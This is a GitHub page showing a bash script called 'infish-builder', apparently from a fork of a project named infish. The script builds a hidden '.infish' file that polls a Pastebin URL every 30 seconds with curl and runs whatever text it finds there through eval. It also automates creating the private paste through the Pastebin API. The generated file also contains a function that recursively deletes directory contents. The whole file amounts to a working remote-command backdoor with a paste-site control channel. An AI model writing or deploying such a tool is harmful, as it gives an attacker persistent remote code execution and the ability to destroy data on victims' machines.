forked from phrenotype/infish
-
Notifications
You must be signed in to change notification settings - Fork 0
/
infish-builder
146 lines (86 loc) · 2.68 KB
/
infish-builder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env bash
template='#!/usr/bin/env bash
function cld() {
echo "Clearing $1"
[ ! -e "$1" ] && return
[ ! -d "$1" ] && return
[ -e "$1" ] && [ -d "$1" ] && cd "$1"
[ "$PWD" != "$1" ] && return
[ "$(ls $1)" ] && rm * -r
[ "$(ls $1)" ] && echo "00000000000000000" && return
[ ! -s "$1" ] && echo "==================="
}
function main() {
useragent=
url=
command=$(curl -sS -L -A $useragent $url)
if [ -z "$command" ]; then
return
else
eval $command
fi
sleep 30
}
while true; do
main
done
'
usage_text="Usage: bash infish-builder url|key url_or_key [optional_user_agent]\n\n"
usage_text+="Example: bash infish-builder url pastebin.com/raw/ABC123 \"Mozilla 5.0\"\n"
usage_text+="Example: bash infish-builder key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 \"Mozilla 5.0\"\n\n"
if [[ "$#" != 2 ]]; then
echo -e $usage_text
exit
fi
if [[ "$1" != "url" && "$1" != "key" ]]; then
echo -e $usage_text
exit
fi
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0"
if [[ -n "$3" ]]; then
user_agent="$3"
fi
function user_key() {
curl -sS -X POST -d "api_dev_key=$3" -d "api_user_name=$1" -d "api_user_password=$2" "https://pastebin.com/api/api_login.php"
}
function check_api_resp() {
if [[ -z "$1" || "$1" =~ "^Bad API request" ]]; then
echo "$1"
exit
fi
}
content=$template
if [[ "$1" = "url" ]]; then
content=${content//url=/url=\"$2\"}
content=${content//useragent=/useragent=\"$user_agent\"}
echo "$content" >".infish"
exit
elif
[[ "$1" = "key" ]]
then
dev_key=$2
echo "Pastebin username: "
read username
echo "Pastebin password: "
read password
echo "New Paste name: "
read paste_name
if [[ -z "$username" || -z "password" ]]; then
echo "You must enter a username and password"
exit
fi
echo -e "\n\n"
echo -e "Generating infinite shell...\n"
api_user_key=$(user_key $username $password $dev_key)
check_api_resp $api_user_key
new_url=$(curl -sS -L -X POST -A "$user_agent" -d "api_dev_key=$dev_key" -d "api_user_key=$api_user_key" -d "api_paste_code=ls" -d "api_option=paste" -d "api_paste_name=$paste_name" -d "api_paste_private=1" "https://pastebin.com/api/api_post.php")
new_url_copy=$new_url
new_url=${new_url//https:\/\/pastebin.com/pastebin.com\/raw}
content=${content//url=/url=\"$new_url\"}
content=${content//useragent=/useragent=\"$user_agent\"}
echo "$content" >".infish"
echo -e "\n"
echo -e "Successfully built infinite shell\n\n"
echo -e "The paste url is $new_url_copy\n"
exit
fi